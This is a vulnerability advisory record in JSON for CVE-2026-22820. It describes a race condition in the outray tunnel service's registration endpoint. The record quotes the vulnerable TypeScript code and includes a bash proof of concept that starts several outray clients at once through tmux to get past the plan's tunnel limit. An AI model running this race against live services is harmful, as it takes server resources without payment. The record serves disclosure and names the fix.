{"id":"CVE-2026-22820","aliases":["GHSA-3pqc-836w-jgr7"],"url":"https://o3.security/vulnerability/CVE-2026-22820","summary":"Outray cli is vulnerable to race conditions in tunnels creation","details":"### Summary\n\nA TOCTOU race condition vulnerability allows a user to exceed the set number of active tunnels in their subscription plan.\n\n### Details\n\nAffected conponent: `apps/web/src/routes/api/tunnel/register.ts`\n- `/tunnel/register` endpoint code-:\n\n```ts\n// Check if tunnel already exists in database\n          const [existingTunnel] = await db\n            .select()\n            .from(tunnels)\n            .where(eq(tunnels.url, tunnelUrl));\n\n          const isReconnection = !!existingTunnel;\n\n          console.log(\n            `[TUNNEL LIMIT CHECK] Org: ${organizationId}, Tunnel: ${tunnelId}`,\n          );\n          console.log(\n            `[TUNNEL LIMIT CHECK] Is Reconnection: ${isReconnection}`,\n          );\n          console.log(\n            `[TUNNEL LIMIT CHECK] Plan: ${currentPlan}, Limit: ${tunnelLimit}`,\n          );\n\n          // Check limits only for NEW tunnels (not reconnections)\n          if (!isReconnection) {\n            // Count active tunnels from Redis SET\n            const activeCount = await redis.scard(setKey);\n            console.log(\n              `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,\n            );\n\n            // The current tunnel is NOT yet in the online_tunnels set (added after successful registration)\n            // So we check if activeCount >= limit (not >)\n            if (activeCount >= tunnelLimit) {\n              console.log(\n                `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,\n              );\n              return json(\n                {\n                  error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? \"s\" : \"\"}.`,\n                },\n                { status: 403 },\n              );\n            }\n            console.log(\n              `[TUNNEL LIMIT CHECK] ALLOWED - ${activeCount} < ${tunnelLimit}`,\n            );\n          } else {\n            console.log(`[TUNNEL LIMIT CHECK] SKIPPED - Reconnection detected`);\n          }\n\n          if (existingTunnel) {\n            // Tunnel with this URL already exists, update lastSeenAt\n            await db\n              .update(tunnels)\n              .set({ lastSeenAt: new Date() })\n              .where(eq(tunnels.id, existingTunnel.id));\n\n            return json({\n              success: true,\n              tunnelId: existingTunnel.id,\n            });\n          }\n\n          // Create new tunnel record\n          const tunnelRecord = {\n            id: randomUUID(),\n            url: tunnelUrl,\n            userId,\n            organizationId,\n            name: name || null,\n            protocol,\n            remotePort: remotePort || null,\n            lastSeenAt: new Date(),\n            createdAt: new Date(),\n            updatedAt: new Date(),\n          };\n\n          await db.insert(tunnels).values(tunnelRecord);\n\n          return json({ success: true, tunnelId: tunnelRecord.id });\n        } catch (error) {\n          console.error(\"Tunnel registration error:\", error);\n          return json({ error: \"Internal server error\" }, { status: 500 });\n        }\n```\n- It checks if the tunnel exists in the database.\n```ts\n// Check if tunnel already exists in database\n          const [existingTunnel] = await db\n            .select()\n            .from(tunnels)\n            .where(eq(tunnels.url, tunnelUrl));\n\n          const isReconnection = !!existingTunnel;\n```\n\n- Limit is checked here-:\n```ts\n// Check limits only for NEW tunnels (not reconnections)\n\nif (!isReconnection) {\n\n// Count active tunnels from Redis SET\n\nconst activeCount = await redis.scard(setKey);\n\nconsole.log(\n\n`[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,\n\n);\n```\n- Redis is checked for existing tunnel to check for reconnection.\n```ts\n// Check limits only for NEW tunnels (not reconnections)\n          if (!isReconnection) {\n            // Count active tunnels from Redis SET\n            const activeCount = await redis.scard(setKey);\n            console.log(\n              `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,\n            );\n```\n\n- If the tunnel limit is exceeded, it pops up the tunnel limit error.\n\n```ts\nif (activeCount >= tunnelLimit) {\n              console.log(\n                `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,\n              );\n              return json(\n                {\n                  error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? \"s\" : \"\"}.`,\n                },\n                { status: 403 },\n              );\n```\n- If the limit is not exceeded, it triggers a the `Insert` Statement without locking transactions from other request\n\n```ts\nawait db.insert(tunnels).values(tunnelRecord);\n```\n- If parallel requests are made by the `wshandler` in `/outray/outray-main/apps/tunnel/src/core/WSHandler.ts` from the command line app. A request can work on a non updated  row  because the `insert` row has not been triggered allowing the user to bypass the limit. It is much explained in the proof of concept. The key takeaway is db transactions should remain locked.\n\n### PoC\n\nUsing this simple bash script, the `outray` binary will be run at the same time in one `tmux` window, demonstrating the race condition and opening 4 tunnels.\n\n```bash\n#!/usr/bin/env bash\n\n# POC for Outray Tunnel Race condition\nSESSION=\"outray-race\"\nPORTS=(8090 4000 5000 6000)\n\n# Create new detached tmux session\ntmux new-session -d -s \"$SESSION\" \"echo '[*] outray race session started'; bash\"\n\n# Split the panes and run outray\nfor i in \"${!PORTS[@]}\"; do\n  port=\"${PORTS[$i]}\"\n\n  if [ \"$i\" -ne 0 ]; then\n    tmux split-window -t \"$SESSION\" -h\n    tmux select-layout -t \"$SESSION\" tiled\n  fi\n\n  tmux send-keys -t \"$SESSION\" \"echo '[*] Running outray on port $port'; outray $port\" C-m\ndone\n\ntmux set-window-option -t \"$SESSION\" synchronize-panes off\n\necho \"[+] tmux session '$SESSION' created\"\necho \"[+] Attach with: tmux attach -t $SESSION\"\n\n```\n\nRunning this\n\n```\nseeker@instance-20260106-20011$ bash kay.sh\n[+] tmux session 'outray-race' created\n[+] Attach with: tmux attach -t outray-race\n\nseeker@instance-20260106-20011$ tmux attach -t outray-race\n```\n\n<img width=\"1909\" height=\"1021\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c234cc94-fc25-4542-abdf-815332493a85\" />\n\n\n<img width=\"1907\" height=\"936\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1c302d7f-1ca6-46af-ab72-60fd01cdfded\" />\n\n### Impact\n\nBy exploiting this TOCTOU race condition in the affected component, the intended limit is bypassed and server resources is used with no extra billing charges on the user.","published":"2026-01-14T15:06:51.127Z","modified":"2026-08-12T03:51:40.416516975Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"outray","fixedVersion":"0.1.5"}],"fix":{"url":"https://github.com/outray-tunnel/outray/commit/08c61495761349e7fd2965229c3faa8d7b1c1581","label":"outray-tunnel/outray@08c6149"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/22xxx/CVE-2026-22820.json"},{"type":"ADVISORY","url":"https://github.com/outray-tunnel/outray/security/advisories/GHSA-3pqc-836w-jgr7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22820"},{"type":"FIX","url":"https://github.com/outray-tunnel/outray/commit/08c61495761349e7fd2965229c3faa8d7b1c1581"},{"type":"WEB","url":"https://github.com/akinloluwami/outray/security/advisories/GHSA-3pqc-836w-jgr7"},{"type":"PACKAGE","url":"https://github.com/akinloluwami/outray"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:40.416516975Z"}}